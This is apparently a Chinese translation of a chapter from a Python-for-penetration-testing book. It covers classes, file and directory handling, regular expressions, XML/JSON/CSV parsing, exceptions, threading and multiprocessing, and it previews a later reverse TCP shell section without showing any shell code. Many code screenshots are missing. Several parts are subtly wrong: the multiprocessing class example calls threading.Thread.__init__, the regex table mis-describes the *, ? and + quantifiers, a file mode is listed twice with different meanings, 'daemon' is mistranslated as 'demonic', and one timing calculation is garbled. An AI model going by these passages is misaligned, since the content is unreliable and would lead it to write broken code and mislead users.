我们在这里学到的关于 Python 中访问修饰符的知识是,Python 确实有符号来表示类的公共、私有和受保护成员,但它没有任何方式让成员在其范围之外被使用,因此这仅仅是用于标识目的。

组合

面向对象编程中的组合表示类之间的部分关系。在这种关系中,一个类是另一个类的一部分。让我们考虑以下示例Composition.py,以了解类之间的组合关系:

在上面的例子中,法拉利汽车和发动机之间的关系是组合类型。这是因为发动机是汽车的一部分,而汽车是法拉利类型的。

关联

关联关系维护了类的对象之间的拥有关系。拥有关系可以是一对一,也可以是一对多。在下面的例子中,我们可以看到EmployeeManager类之间存在一对一的关联关系,因为一个Employee只会有一个Manager类。我们还有一个EmployeeDepartment之间的一对一关联关系。这些关系的反向将是一对多的关系,因为一个Department类可能有很多员工,一个经理可能有很多员工报告给他们。以下代码片段描述了关联关系:

聚合

聚合关系是一种特殊的拥有关系,它总是单向的。它也被称为单向关联关系。例如,EmployeeAddress之间的关系是单向关联,因为员工总是有地址,但反过来并不总是成立。以下示例描述了EmployeeAddress之间的聚合关系:

抽象类

有许多情况下,我们可能希望部分实现一个类,使得该类通过模板定义其目标,并且还定义了它必须如何通过一些已实现的方法获取其目标的一部分。类目标的剩余部分可以留给子类来实现,这是强制性的。为了实现这样的用例,我们使用抽象类。抽象基类,通常称为abc类,是一个包含抽象方法的类。抽象方法是一种没有实现的方法。它只包含声明,并且应该在实现或继承抽象类的类中实现。

关于抽象类的一些重要要点包括以下内容:

  • 在 Python 中,抽象方法是使用@abstractmethod装饰器声明的。

  • 虽然抽象类可以包含抽象方法,但没有任何阻止抽象类同时拥有普通或非抽象方法的限制。

  • 抽象类不能被实例化。

  • 抽象类的子类必须实现基类的所有抽象方法。如果没有这样做,它就无法被实例化。

  • 如果抽象类的子类没有实现抽象方法,它将自动成为一个抽象类,然后可以由另一个类进一步扩展。

  • Python 中的抽象类是使用abc模块实现的。

让我们创建一个名为Abstract.py的类,并看看如何在 Python 中使用抽象类:

在上面的例子中,我们创建了一个名为QueueAbs的抽象类,它继承自名为ABC的抽象基类。该类有两个抽象方法,enqueuedequeue,还有一个名为printItems()的具体方法。然后,我们创建了一个名为Queue的类,它是QueueAbs抽象基类的子类,并实现了enqueuedequeue方法。最后,我们创建了Queue类的实例并调用了方法,如前所示。

值得记住的一件事是,在 Java 和 C#中,抽象类不能实现抽象方法。但在 Python 中不是这样。在 Python 中,抽象方法可能有默认实现,也可能没有,但这并不妨碍子类对其进行重写。无论抽象类方法是否有实现,子类都必须对其进行重写。

多态

多态性是指一个实体可以存在多种形式的属性。在编程方面,它指的是创建一个可以与多个对象或实体一起使用的结构或方法。在 Python 中,多态性可以通过以下方式实现:

  • 函数多态性

  • 类多态性(抽象类)

函数多态性

让我们考虑两个类,FerrariMcLaren。假设两者都有一个返回汽车最高速度的Speed()方法。让我们思考在这种情况下如何使用函数多态性。让我们创建一个名为Poly_functions.py的文件:

我们可以看到我们有两个类,FerrariMcLaren。两者都有一个打印两辆车速度的共同速度方法。一种方法是创建两个类的实例,并使用每个实例调用打印速度方法。另一种方法是创建一个接受类实例并在接收到的实例上调用速度方法的公共方法。这就是我们在第 10 行定义的多态printSpeed(carType)函数。

类多态性(抽象类)

也许有时我们希望根据类必须做什么来定义类的模板,而不是如何做到这一点 - 我们希望将这留给类的实现。这就是我们可以使用抽象类的地方。让我们创建一个名为Poly_class.py的脚本,并添加以下代码:

可以看到我们有一个名为Shape的抽象类,它有一个area方法。area方法在这个类中没有实现,但会在子类中实现。SquareCircle子类重写了area方法。area方法是多态的,这意味着如果一个正方形重写它,它实现了正方形的面积,当Circle类重写它时,它实现了圆的面积。

Python 中的静态、实例和类方法

在 Python 类中可以定义三种方法。到目前为止,我们大部分时间都在处理实例方法,我们已经使用我们的 Python 类实例调用了它们:

  • 实例方法和变量: 在 Python 类中定义的任何方法,使用类的实例调用,以 self 作为其第一个位置参数,被称为实例方法。实例方法能够访问类的实例变量和其他实例方法。使用self.__class__构造,它也能够访问类级别的变量和方法。另一方面,实例变量是在 Python 类中使用self关键字声明的任何变量。

  • 类方法和变量: 使用@classmethod Python 装饰器声明的任何方法都被称为类方法。类方法也可以在没有@classmethod装饰器的情况下声明。如果是这种情况,必须使用类名调用它。类方法只能访问在类级别标记或声明的变量,并且不能访问对象或实例级别的类变量。另一方面,类变量可以在任何方法之外声明。在类内部,我们必须在不使用 self 关键字的情况下声明变量。因此,类变量和方法在某种程度上类似于我们在 Java 中学习的静态方法和变量,但有一个陷阱,如下所述:

在 Java 和 C#中,我们知道静态变量不能通过类的实例访问。在 Python 中,静态变量是类级变量,实际上可以通过类的实例访问。但是访问是只读访问,这意味着每当使用类的实例访问类级变量并且实例尝试修改或更新它时,Python 会自动创建一个同名的变量副本并将其分配给类的这个实例。这意味着下次使用相同实例访问变量时,它将隐藏类级变量,并提供对新创建的实例级副本的访问。

  • 静态方法: 在 Python 类中使用@staticmethod装饰器声明的任何方法都被称为静态方法。Python 中的静态方法与我们在 Java 和 C#中看到的不同。静态级别的方法无法访问实例或对象级别的变量,也无法访问类级别的变量。

让我们以一个名为Class_methods.py的示例来进一步解释:

以下是前面代码的延续:

前面的代码片段解释了静态、实例和类方法的用法。每当类方法由类的实例调用时,Python 会在内部自动将实例类型转换为类类型,这可以在第 42 行看到。

输出如下截图所示:

文件、目录和 I/O 访问

与其他编程语言一样,Python 提供了一个强大且易于使用的接口来处理 I/O、文件和目录。我们将在接下来的章节中更详细地探讨这些内容。

文件访问和操作

我们可以在 Python 中读取、写入和更新文件。Python 有一个open结构,可以用来提供文件操作。当我们打开一个文件时,可以以各种模式打开该文件,如下所示:

  • r:读取模式,这以文本模式读取文件(默认)。

  • rb:这以二进制模式读取文件。

  • r+:这以读取和写入模式读取文件。

  • rb:这以二进制模式打开文件进行读取和写入。

  • w:这仅以写入模式打开文件。它会覆盖现有文件。

  • wb:这以二进制模式打开文件进行写入。它会覆盖现有文件。

  • w+:这以写入和读取模式打开文件。它会覆盖现有文件。

  • wb+:这以二进制模式打开文件进行读取和写入。它会覆盖现有文件。

  • a:这以追加模式打开文件,并在文件不存在时创建文件。

  • ab:这以追加二进制模式打开文件,并在文件不存在时创建文件。

  • a+:这以追加和读取模式打开文件,并在文件不存在时创建文件。

  • ab+:这以追加读取二进制模式打开文件,并在文件不存在时创建文件。

在以下代码块中,open方法调用的第一个参数是要打开的文件的路径。第二个参数是文件打开的mode,第三个是可选的缓冲参数,指定文件的期望buffer大小:0表示无缓冲,1表示行缓冲,任何其他正值表示使用大约该大小的缓冲(以字节为单位)。负缓冲表示应使用系统默认值。对于 tty 设备,通常是行缓冲,对于其他文件,通常是完全缓冲。如果省略,将使用系统默认值。

open("filepath","mode",buffer)

通过缓冲,我们不是直接从操作系统的原始文件表示中读取(这样会有很高的延迟),而是将文件读入操作系统缓冲区,然后从那里读取。这样做的好处是,如果我们有一个文件存在于共享网络上,并且我们的目标是每 10 毫秒读取一次文件。我们可以将其加载到缓冲区中,然后从那里读取,而不是每次都从网络中读取,这将是昂贵的。

看一下File_access.py文件中的以下片段以了解更多:

前面截图中的代码片段来自File_access.py文件,解释了如何在 Python 中使用文件。File类的read()方法接受文件路径,如果没有给出整个路径,则假定当前工作目录是起始路径。在文件实例上调用的read()方法将整个文件读入程序变量。read(20)将从当前文件指针位置加载 20 个字节的文件。当我们处理大文件时,这非常方便。

readlines()方法返回一个列表,每个条目都指向文件的一行。readline()方法返回文件的当前行。seek()方法将文件指针移到参数中指定的位置。因此,每当我们执行seek(0)时,文件指针都会指向文件的开头:

重命名和删除文件以及访问目录

在 Python 中,对文件目录和各种其他操作系统命令的系统级访问是由os模块提供的。os模块是一个非常强大的实用程序。在本节中,我们将看到它在重命名、删除、创建和访问目录方面的一些用法,借助os_directories.py文件中的以下片段:

前面截图中的代码片段展示了在 Python 中使用os模块与文件和目录一起使用的各种方式,以重命名和删除文件以及创建和更改目录。它还向我们展示了如何重命名和遍历所有文件(包括嵌套文件)从一个子文件夹。需要注意的是,如果我们想要删除一个文件夹,我们可以使用os.rmdir()方法,但是文件夹中的所有文件都应该被显式删除才能使其工作:

  • 以下输出显示了文件在创建前后的变化:

  • 以下输出显示了文件名的更改:

  • 以下输出显示了文件被删除后的变化:

控制台 I/O

到目前为止,我们已经处理了大部分以硬编码数据作为输入的 Python 程序。让我们看看如何在 Python 中从用户那里获取输入并在我们的代码中使用。我们将创建一个名为user_input.py的文件:

这是相当不言自明的。为了获取用户输入,我们使用input()方法,它会暂停屏幕,直到用户提供输入。它总是返回一个字符串:

Python 中的正则表达式

正则表达式非常强大,在网络安全领域被广泛用于模式匹配,无论是处理解析日志文件、Qualys 或 Nessus 报告,还是 Metasploit、NSE 或任何其他服务扫描或利用脚本生成的输出。Python 中提供对正则表达式支持的模块是re。我们将使用 Python 正则表达式(re模块)的一些重要方法,如下所述:

match() 这确定正则表达式是否在字符串开头找到匹配项re.match(pattern,string,Flag=0)。标志可以用&#124;或操作符指定。最常用的标志是re.Ignore-Casere.Multilinere.DOTALL。这些标志可以用或操作符指定为(re.M&#124; re.I)。
search() 与 match 不同,search 不仅在字符串开头寻找匹配项,而是在整个字符串中搜索或遍历以寻找给定的搜索字符串/正则表达式,可以指定为re.search(pattern,string,Flag=0)
findall() 这在字符串中搜索正则表达式匹配项,并返回所有子字符串作为列表,无论它在哪里找到匹配项。
group() 如果找到匹配项,则group()返回正则表达式匹配的字符串。
start() 如果找到匹配项,则start()返回匹配项的起始位置。
end() 如果找到匹配项,则end()返回匹配项的结束位置。
span() 如果找到匹配项,则span()返回一个包含匹配项的起始和结束位置的元组。
split() 这根据正则表达式匹配来拆分字符串,并返回一个列表。
sub() 这用于字符串替换。它会替换所有子字符串的匹配项。如果找不到匹配项,则返回一个新字符串。
subn() 这用于字符串替换。它会替换所有子字符串的匹配项。返回类型是一个元组,新字符串在索引 0 处,替换的数量在索引 1 处。

现在我们将尝试通过regular_expressions.py脚本中的以下片段来理解正则表达式:

matchsearch之间的区别在于,match只在字符串开头搜索模式,而search则在整个输入字符串中搜索。代码行 42 和 50 产生的输出将说明这一点:

在前面的屏幕中,可以看到当输入Hello时,matchsearch都能够定位到字符串。然而,当输入为\d时,表示任何十进制数,match无法定位,但search可以。这是因为search方法在整个字符串中搜索,而不仅仅是开头。

同样,可以从以下截图中看到,match没有返回数字和非数字的分组,但search有。

在以下输出中,搜索了Reg关键字,因此matchsearch都返回了结果:

注意,在下面的截图中,findall()matchsearch不同:

这些例子已经展示了match()search()的不同操作方式,以及search()在执行搜索操作时更加强大:

让我们来看一下 Python 中一些重要的正则表达式:

正则表达式 描述
\d 这匹配字符串中的零到九的数字。
(\D\d) 这匹配了\D非数字和\d数字,它们被分组在一起。括号(())用于分组。
.*string.* 如果在字符串中找到一个单词,不管它前面和后面是什么,都会返回一个匹配项。.*符号表示任何东西。
^ 尖号符号表示它匹配字符串的开头。
[a-zA-Z0-9] [...]用于匹配放在大括号内的任何内容。例如,[12345]表示应该找到介于一和五之间的任何数字的匹配项。[a-zA-Z0-9]表示应该将所有字母数字字符视为匹配项。
\w \w[a-zA-Z0-9_]相同,匹配所有字母数字字符。
\W \W\w的否定形式,匹配所有非字母数字字符。
\D \D\d的否定形式,匹配所有不是数字的字符。
[^a-z] ^,当放置在[]内时,作为否定形式。在这种情况下,它意味着匹配除了az之间的字母以外的任何内容。
re{n} 这意味着精确匹配前面表达式的n次出现。
re{n ,} 这意味着匹配前面表达式的n次或更多次出现。
re {n,m} 这意味着匹配前面表达式的最少n次和最多m次出现。
\s 这意味着匹配空格字符。
[T&#124;t]est 这意味着匹配Testtest
re* 这意味着匹配*后面的表达式的任何出现。
re? 这意味着匹配?后面的表达式的任何出现。
re+ 这意味着匹配+后面的表达式的任何出现。

使用 XML、JSON 和 CSV 数据进行数据操作和解析

在本节中,我们将首先看看如何在 Python 中操作 XML 数据,然后看看如何操作 JSON 数据。之后,我们将重点介绍 CSV 的 pandas Python 实用程序。

XML 数据操作

在本节中,我们将看看如何在 Python 中操作 XML 数据。虽然有许多方法可以解析 Python 中的 XML 文档,但简单且最常用的方法是使用XML.etree模块。让我们看看以下示例,它将说明在 Python 中解析 XML 文档和字符串是多么简单和容易。创建一个名为xml_parser.py的脚本。我们将使用一个名为exmployees.xml的 XML 文档:

正如前面的例子中所示,我们简单地使用xml.etree.ElementTree模块,并将其别名为 ET。在类的解析方法中,我们通过调用parse方法(在前一种情况下)或fromstring方法(在后一种情况下)来提取 XML 文档或 XML 字符串的根。这将返回<class 'xml.etree.ElementTree.Element'> ET 元素类的实例。我们可以遍历它以获取所有子节点,如从第 21 行到第 26 行所示。如果我们不知道节点的属性名称,类的attrib属性返回一个字典,其中包含属性名称和其值的键值映射。如果我们知道子节点的名称,我们可以遵循第二种方法,如从第 29 行到第 36 行所示,其中我们指定节点的名称。

如果我们传递的是 XML 字符串而不是文件,则唯一的变化在于初始化根元素的方式;其余部分保持不变。关于此脚本的另一点要注意的是,我们使用了命令行参数。sys.argv[]用于访问这些命令行参数,文件的 0 索引具有脚本本身的名称,从索引 1 开始是参数。在我们的示例中,XML 文件的名称作为命令行参数传递给脚本,并使用sys.argv[1]属性进行访问。如下所示:

JSON 数据操作

现在让我们看看如何使用 Python 操作 JSON 数据。 JSON(JavaScript 对象表示)是一种非常广泛使用的数据存储和交换格式。随着互联网的成熟,它变得越来越受欢迎,并成为基于 REST 的 API 或服务中信息交换的标准。

Python 为我们提供了一个用于 JSON 数据操作的 JSON 模块。让我们创建一个名为employees.json的 JSON 文件,并查看如何使用 JSON 模块访问 JSON 内容。假设我们的目标是读取员工数据,然后找出工资超过 30,000 的员工,并用A级标记他们。然后我们将那些工资低于 30,000 的员工标记为B级:

获得的输出如下截图所示:

从前面的代码可以推断出,JSON 文件被加载为 Python 字典,可以通过json.load()命令实现。load()方法期望提供 JSON 文件路径作为参数。如果 JSON 数据不是作为外部文件而是作为 Python 字符串存在,我们可以使用json.loads()方法,并将 JSON 字符串作为参数传递。这将再次将字符串转换为 Python 本机类型,可能是列表或字典。如下所示:

>>> a='{"k1":"v1"}'
>>> d=json.loads(a)
>>> type(d)
<class 'dict'

json_parse.py文件中,第 10 到 20 行简单地迭代 Python 字典和内部列表,并显示员工详细信息。这是我们之前见过的。脚本的目标实际上是更新员工的工资档次,这是在process()方法中实现的。我们再次打开并加载 JSON 文件到 Python 本机类型(第 23 行)。然后,我们迭代 Python 字典。在第 27 行,我们检查员工的工资是否大于或等于 30,000。如果是,我们修改员工的档次,通过修改加载所有详细信息的原始json_data对象。json_data["employees"]["data"][index]["slab"]语句将指向当前员工的档次,确定他们的工资是多还是少于 30,000,并将其设置为AB。最后,我们将在json_data对象中得到修改后的员工详细信息,并使用json.dump()方法覆盖原始 JSON 文件的内容。这将把 Python 本机对象(列表、字典或元组)转换为其 JSON 等效形式。它将file_object作为第二个参数,指示 JSON 数据必须放在哪里。它还接受格式选项,如indentsort_keys等。同样,我们还有一个json.dumps()方法,它将 Python 本机类型转换为其 JSON 字符串等效形式。如下所示:

>>> json.dumps({"k1":"v1"})
'{"k1": "v1"}'

应该记住,外部 JSON 文件不能在原地修改。换句话说,我们不能修改外部 JSON 文件的一部分,然后保持其余部分不变。在这种情况下,我们需要用新内容覆盖整个文件。

CSV

CSV 数据在网络安全和数据科学领域被广泛使用,无论是作为日志文件的形式,作为 Nessus 或 Qualys 报告的输出(以 Excel 格式),还是用于机器学习的大型数据集。Python 提供了内置的 CSV 模块对 CSV 文件提供了出色的支持。在本节中,我们将探讨这个模块,并关注 CSV 的 pandas Python 实用程序。

让我们首先看一下 Python 提供的内置 CSV 模块。下面的代码片段,名为csv_parser.py,演示了这个模块:

前面的代码帮助我们了解如何使用 CSV 模块在 Python 中读取 CSV 文件。建议始终使用 CSV 模块,因为它内部处理分隔符、换行符和字符。有两种从 CSV 文件中读取数据的方法,第一种是使用csv.reader()方法(第 10-25 行),它返回一个 CSV 字符串列表。列表的每一行或项将是表示 CSV 文件一行的字符串列表,可以通过索引访问每个项。另一种读取 CSV 文件的方法是使用csv.DictReader()(第 29-38 行),它返回一个字典列表。每个字典将具有一个键值对,键表示 CSV 列,值是实际的行值。

产生的输出如下所示:

为了写入 CSV 文件,有两种不同的方法。一种方法是使用csv.DictWriter()指令,它返回一个 writer 对象,并且具有将 Python 列表或字典直接推送到 CSV 文件的能力。当我们在列表或字典上调用writerows()方法时,这将在内部将 Python 列表或字典转换为 CSV 格式。这在第 40-53 行中展示:我们检查员工的薪水,将适当的分级与之关联,最后使用writerows()方法覆盖修改后的 CSV 文件。csv.DictWriter()支持writerows()write row()方法。writerows()方法将简单地获取一个字典并将其写入 CSV 文件。

写入 CSV 文件的第二种方法是使用csv.Writer()方法。这将返回一个 writer 对象,该对象将以列表的形式作为writerows()方法的参数,并将结构写入外部 CSV 文件。这两种方法的示例如下屏幕截图所示:

虽然前面介绍的访问和处理 CSV 文件的方法很好,但如果 CSV 文件非常大,这些方法就不适用了。如果 CSV 文件大小为 10GB,系统的 RAM 只有 4GB,那么csv.reader()csv.DictReader()都无法很好地工作。这是因为reader()DictReader()都会将外部 CSV 文件完全读入变量程序内存中,也就是 RAM。对于一个巨大的文件,直接使用 CSV 模块是不可取的。

另一种方法是使用迭代器或按字节块读取文件,如下面的屏幕截图所示:

前面的代码片段不会将整个文件加载到内存中,而是一次读取一行。这样,我们可以处理和存储该行到数据库中,或执行任何相关操作。由于文件是逐行读取的,如果我们有多行的 CSV 数据,这将会造成麻烦。正如我们在前面的示例中看到的,Emp1的第一条记录没有完全读取;它被分成两行,第二行只包含Description字段的一部分。这意味着以前的方法对于大型或多行的 CSV 文件是行不通的。

如果我们试图按块或字节来读取,就像我们之前看到的那样,我们将不知道多少块或字节对应于一行,因此这也会导致不一致的结果。为了解决这个问题,我们将使用 Pandas,这是一个强大的 Python 数据分析工具包。

有关 Pandas 的详细信息,请参阅以下链接:pandas.pydata.org/pandas-docs/stable/

首先,我们需要安装 pandas,可以按照以下步骤进行:

pip3.5 install pandas

以下代码片段解释了如何使用 pandas 以小块读取巨大的 CSV 文件,从而减少内存使用:

如前面的代码片段所示,我们声明块大小为 100,000 条记录,假设我们有一个非常大的 CSV 文件要处理。块大小是上限;如果实际记录少于块大小,程序将只获取两者中较小的值。然后,我们使用pd.read_csv()加载 CSV 文件,指定块大小作为参数。chunk.rename()方法实际上会从列名中删除换行符(如果有的话),chunk.fillna('')将填充 CSV 文件返回的空值。最后,我们使用iterrows()方法迭代行,该方法返回一个元组,然后按照所示打印值。应该注意的是,pd.read_csv()返回一个 pandas DataFrame,可以被视为内存中的关系表。

异常处理

异常,我们都知道,是意想不到的条件。它们可能在运行时出现并导致程序崩溃。因此,建议将可疑代码(可能导致异常)放在异常处理代码块中。然后,即使发生异常,我们的代码也会适当地处理它并采取所需的操作。与 Java 和 C#一样,Python 也支持用于处理异常的传统 try 和 catch 块。然而,有一个小改变,就是 Python 中的 catch 块被称为 except。

以下代码片段显示了我们如何在 Python 中进行基本的异常处理:

前面的代码是不言自明的。Python 使用tryexcept,而不是trycatch。我们使用raise命令来手动抛出异常。最终块的工作方式与其他语言相同,核心条件是无论异常是否发生,最终块都应该被执行。

应该注意,在前面的例子中,我们在 except 块中处理异常时使用了一个通用的 Exception 类。如果我们确定代码可能引发什么样的异常,我们可以使用特定的异常处理程序,比如IOErrorImportErrorValueErrorKeyboardINteruptEOFError。最后,还应该记住,在 Python 中,我们可以在try块旁边使用一个 else 块。

摘要

在本章中,我们讨论了 Python 的 OOP、文件、目录、IO、XML、JSON、CSV 和异常处理。这些是 Python 的核心构造,被广泛使用。当我们转向使用 Python 实现渗透测试和网络安全时,我们将经常使用所有这些结构和概念,因此我们对它们有很好的理解是很重要的。在下一章中,我们将讨论更高级的概念,如 Python 中的多线程、多进程、子进程和套接字编程。通过那一章,我们将完成对 Python 先决条件的探索,这将进而引导我们学习有关 Python 的渗透测试和网络安全生态系统。

问题

  1. 我们经常听说 Python 是一种脚本语言。将其用作面向对象的语言的典型优势是什么?你能想到任何特定的产品或用例吗?

  2. 列举一些解析 XML 和 CSV 文件的方法。

  3. 我们能否在不看类结构的情况下检测到类的所有属性?

  4. 什么是方法装饰器?

进一步阅读

第四章:高级 Python 模块

本章将使我们熟悉一些高级 Python 模块,当涉及到响应时间、处理速度、互操作性和通过网络发送数据等参数时非常有用。我们将研究如何使用线程和进程在 Python 中进行并行处理。我们还将了解如何使用 IPC 和子进程在进程之间建立通信。之后,我们将探讨 Python 中的套接字编程,并通过实现反向 TCP shell 进入网络安全领域。本章将涵盖以下主题:

  • 使用线程进行多任务处理

  • 使用进程进行多任务处理

  • 子进程

  • 套接字编程的基础

  • 使用 Python 实现反向 TCP shell

使用线程进行多任务处理

线程是一个轻量级的进程,与其父进程共享相同的地址和内存空间。它在处理器核心上并行运行,从而为我们提供了并行性和多任务处理能力。它与父进程共享相同的地址和内存空间的事实使得整个多任务处理操作非常轻量级,因为没有涉及上下文切换开销。在上下文切换中,当调度新进程以执行时,操作系统需要保存前一个进程的状态,包括进程 ID、指令指针、返回地址等。

这是一个耗时的活动。由于使用线程进行多任务处理不涉及创建新进程来实现并行性,线程在多任务处理活动中提供了非常好的性能。就像在 Java 中我们有Thread类或可运行接口来实现线程一样,在 Python 中我们可以使用Thread模块来实现线程。通常有两种在 Python 中实现线程的方法:一种是 Java 风格的,另一种更符合 Python 的风格。让我们一起来看看这两种方法。

以下代码显示了类似于 Java 的实现,我们在其中对线程类进行子类化并覆盖run()方法。我们将希望与线程并行运行的逻辑或任务放在run()方法内:

import threading
>>> class a(threading.Thread):
... def __init__(self):
... threading.Thread.__init__(self)
... def run(self):
... print("Thread started")
... 
>>> obj=a()
>>> obj.start()
Thread started

在这里,我们有一个方法(run()),在这种情况下,它被设计为并行执行。这就是 Python 探索的另一种线程方法,在这种方法中,我们可以使用线程使任何方法并行执行。我们可以使用我们选择的任何方法,该方法可以接受任何参数。

以下代码片段显示了使用线程的另一种方式。在这里,我们可以看到我们通常定义了一个add(num1,num2)方法,然后在线程中使用它:

>>> import threading
>>> def add(num1,num2):
...     print(num1 + num2)
... 
>>> for i in range(5):
...     t=threading.Thread(target=add,args=(i,i+1))
...     t.start()
... 
1
3
5
7
9

for循环创建了一个线程对象t。在调用start()方法时,会调用在创建线程对象时指定的目标参数中的方法。在前面的例子中,我们将add()方法传递给了线程实例。要传递给使用线程调用的方法的参数作为元组传递给args参数。add()方法通过线程调用了五次,并且输出显示在屏幕上,如前面的例子所示。

恶魔线程和非恶魔线程

必须注意的是,线程是从主程序中调用的,主程序不会退出(默认情况下)直到线程完全执行。原因是主程序默认以非恶魔模式调用线程,这使得线程在前台运行,而不是等待它在后台运行。因此,非恶魔线程是在前台运行的,导致主程序等待运行线程完成执行。另一方面,恶魔线程是在后台运行的,因此不会导致主程序等待其完成执行。请看下面的例子:

从前面的代码片段可以看出,当我们创建和执行一个非恶魔线程(默认情况下)时,在打印Main Ended后,终端窗口会暂停 4 秒,等待ND线程完成执行。当它完成时,我们会得到一个Exit Non Demonic的消息,这时主程序退出。在此之前,主程序不会退出。

让我们看看这在恶魔线程中如何改变,它在后台运行:

在前面的代码片段中,我们看到了如何使用一个恶魔线程。有趣的是,主程序并没有等待恶魔线程完成执行。恶魔线程在后台运行,当它完成时,主线程已经从内存中退出,因此我们没有在屏幕上看到Exit: Daemonic的消息。在这种情况下,我们正在使用日志记录模块。默认情况下,日志记录模块将记录到stdout,在我们的情况下,这是终端。

线程加入和枚举

正如我们在前一节中看到的,主线程默认情况下会等待线程执行。尽管如此,主方法的代码仍将被执行,因为主线程将在不同的处理器核心上运行,与子线程不同。有时我们可能希望控制主线程的执行,与子线程的执行周期一致。假设我们希望在子线程执行后仅执行主线程的一部分代码。这可以通过join()方法实现。如果我们在主线程 M 的第 X 行调用线程 T 上的join(),那么主线程的 X+1 行将在 T 线程完成执行之前不会被执行。换句话说,我们将主线程的尾部与线程 T 连接起来,因此主线程的执行将在 T 完成之前暂停。让我们看下面的例子,我们在其中使用线程枚举和join()来批量执行线程。

主程序必须在退出之前验证所有线程是否已执行:

以下截图描述了前面代码的输出:

线程之间的互通

尽管线程应该独立执行,但有许多情况下需要线程之间进行通信,例如如果一个线程需要在另一个线程达到某个特定点时才开始任务。假设我们正在处理生产者和消费者问题,其中一个线程(生产者)负责将项目放入队列。生产者线程需要向消费者线程发送消息,以便它知道可以从队列中消费数据。这可以通过 Python 中的线程事件来实现。调用threading.event()返回一个事件实例,可以使用set()方法设置,使用clear()方法重置。

在下面的代码块中,我们将看到一个示例,其中一个线程将递增一个计数器。另一个线程需要在计数器值达到 5 时执行一个动作。必须注意,事件还有一个wait()方法,它会等待事件被阻塞或设置。事件可以等待一个超时间隔,或者可以无限期等待,但一旦设置标志为truewait()方法将不会实际阻塞线程的执行。这在下面的代码中有所体现:

线程并发控制

有许多情况下,多个线程需要共享资源。我们希望确保如果一个线程正在改变对象的状态,另一个线程必须等待。为了避免不一致的结果,在改变其状态之前必须锁定共享资源。状态改变后,应释放锁。Python 提供了线程锁来做到这一点。看一下下面的代码片段Thread_locking.py,它演示了线程锁定和并发控制:

前面的代码片段显示了线程锁定。在这里,count是一个多个线程尝试更新的共享变量。第一个输出没有锁定机制(第 16 行和第 22 行被注释掉)。当没有锁定时,可以看到thread_3在获取锁时将值读为 1,thread_4也是一样。每个线程将计数的值增加 1,但到thread_4结束时,计数的值为 3。当我们使用锁定时,可以从第二个输出中看到,当共享资源counter被更新时,没有其他线程实际上可以读取它,因此获得的结果是一致的。

使用进程进行多任务处理

与线程模块一样,多进程模块也用于提供多任务处理能力。线程模块实际上有点误导:它在 Python 中的实现实际上不是用于并行处理,而是用于在单个核心上进行时间共享的处理。默认的 Python 实现CPython在解释器级别上不是线程安全的。每当使用线程时,都会在 Python 线程中访问的对象上放置一个全局解释器锁GIL)。这个锁以时间共享的方式执行线程,给每个线程一小部分时间,因此我们的程序中没有性能增益。因此,多进程模块被开发出来,以提供并行处理给 Python 生态系统。这通过将负载分布到多个处理器核心上来减少执行时间。看一下下面的代码,它使用了多进程:

>>> import multiprocessing
>>> def process_me(id):
... print("Process " +str(id))
... 
>>> for i in range(5):
... p=multiprocessing.Process(target=process_me,args=(i,))
... p.start()
>>> Process 0
>>> Process 1
>>> Process 2
>>> Process 3
>>> Process 4
import multiprocessing as mp
>>> class a(mp.Process):
... def __init__(self):
... threading.Thread.__init__(self)
... def run(self):
... print("Process started")
... 
>>> obj=a()
>>> obj.start()
Process started

前面的代码片段表示了两种多进程的实现:一种简单的方法和一种基于类的方法。

恶魔和非恶魔进程

我们已经学习了什么是恶魔和非恶魔线程。同样的原则也适用于进程。恶魔进程在后台运行而不阻塞主进程,而非恶魔进程在前台运行。这在下面的示例中显示出来:

可以从前面的代码片段中看到,当我们创建和执行一个非恶魔进程(默认选项)时,如输出 1 和第 20 行所示,在打印Main Ended后,终端窗口会在等待非恶魔进程完成执行时停顿 4 秒。当它完成时,我们会得到Exit Non Daemonic的消息,这时主程序退出。在第二种情况下(如输出 2 所示),主程序不会等待恶魔进程完成执行。恶魔进程在后台运行,当它完成时,主线程已经从内存中退出。因此,我们没有在屏幕上看到Exit :Daemonic的消息打印出来。

进程连接、枚举和终止

关于线程连接和枚举的相同理论也可以应用于进程。进程可以连接到主线程或另一个进程,以便另一个线程在连接的进程完成之前不会退出。除了连接和枚举之外,我们还可以在 Python 中显式终止进程。

看一下以下代码片段,演示了上述概念。以下代码的目标是生成一些进程,并使主进程等待 10 秒,以便生成的进程完成执行。如果它们没有完成,那些仍在运行的进程将在退出之前被终止:

上述代码Join_enumerate_terminate.py非常简单;我们所做的与之前的线程相同。这里唯一的区别是我们仅应用了 3 秒的加入操作,以便故意获得一些仍在运行的进程。然后我们通过对它们应用terminate()来终止这些进程。

多进程池

多进程库中最酷的功能之一是池化。这让我们可以将任务均匀分配到所有处理器核心上,而不必担心同时运行的进程数量。这意味着该模块有能力批量生成一组进程。假设我们将批处理大小定义为 4,这是我们可能拥有的处理器核心数量。这意味着,任何时候,可以执行的最大进程数量为四个,如果其中一个进程完成执行,也就是说现在有三个正在运行的进程,模块会自动选择下一组进程,使批处理大小再次等于四。该过程将持续进行,直到我们完成分布式任务或明确定义条件。

看一下以下示例,我们需要在八个不同的文件中写入 800 万条记录(每个文件中有 100 万条记录)。我们有一个四核处理器来执行此任务。理想情况下,我们需要两次生成一个批处理大小为四的进程,以便每个进程在文件中写入 100 万条记录。由于我们有四个核心,我们希望每个核心执行我们任务的不同部分。如果我们选择一次生成八个进程,我们将在上下文切换中浪费一些时间,因此我们需要明智地使用我们的处理器和处理能力,以获得最大的吞吐量:

在上述代码Multiprocess_pool.py中,我们在第 30 行创建了一个多进程池。我们将池的大小定义为size=mp.cpu_count(),在我们的情况下是4,因此我们定义了一个大小为四的池。我们需要创建八个文件,每个文件包含 100 万条记录。我们使用for循环来定义八个进程,这些进程将通过在创建的池对象上调用apply_async()来发送到池对象。apply_async()方法期望我们希望使用多进程模块作为参数执行的方法的名称。第二个参数是传递给我们希望执行的方法的参数。请注意,当使用池模块执行进程时,进程还具有从方法返回数据的能力。

从输出中可以看到,没有同时执行的进程超过四个。还可以验证,第一个完成的进程是Forkpoolworker4。当批处理大小为 3 时,模块会立即生成另一个进程。这可以通过输出来验证,输出中在第一部分的第六行中声明了Started process Poolworker4

请注意,两个批次是并行执行的。每个进程花费了 13 到 14 秒,但由于它们是并行执行的,每个批次的整体执行时间为 14 秒。因此,两个批次的总时间为 28 秒。很明显,通过使用并行处理,我们在短短 28 秒内解决了问题。如果我们选择顺序或线程方法,总时间将接近(138) = 104*秒。作为练习,您可以自己尝试。

